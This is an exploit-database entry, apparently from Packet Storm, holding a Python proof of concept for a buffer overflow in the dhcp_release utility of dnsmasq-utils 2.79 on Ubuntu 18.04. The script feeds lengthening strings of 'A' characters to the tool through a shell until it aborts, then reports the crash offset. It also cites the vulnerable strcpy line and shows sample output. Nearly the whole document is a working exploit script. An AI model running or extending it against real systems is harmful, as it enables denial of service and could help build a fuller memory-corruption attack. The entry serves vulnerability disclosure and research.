Exploit for dnsmasq-utils 2.79-1 Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:157125
# Exploit Title: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)  
# Date: 2020-04-06  
# Exploit Author: Josue Encinar  
# Software Link: https://launchpad.net/ubuntu/+source/dnsmasq/2.79-1  
# Version: 2.79   
# Tested on: Ubuntu 18.04  
  
  
from subprocess import Popen, PIPE  
  
data = ""  
bof = False  
for i in range (1, 200):  
A = "A"*i  
data = f"dhcp_release {A} 1 1"  
try:  
result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)  
error = result.stderr.read().decode()  
if "Aborted (core dumped)" in error:  
print("[+] Buffer Overflow detected!")  
print(f"[*] Offset: {i}")  
bof = True  
break  
except Exception as e:  
print(f"[-] {e}")  
  
if not bof:  
print("[-] No buffer overflow...")  
  
  
## Check line 273 in dhcp_release.c   
### strcpy(ifr.ifr_name, argv[1]);  
#  
## PoC:  
# josue@ubuntu:~/Escritorio/bof_dhcp$ python3 dhcp_release_bof.py   
# *** buffer overflow detected ***: dhcp_release terminated  
# [+] Buffer Overflow detected!  
# [*] Offset: 16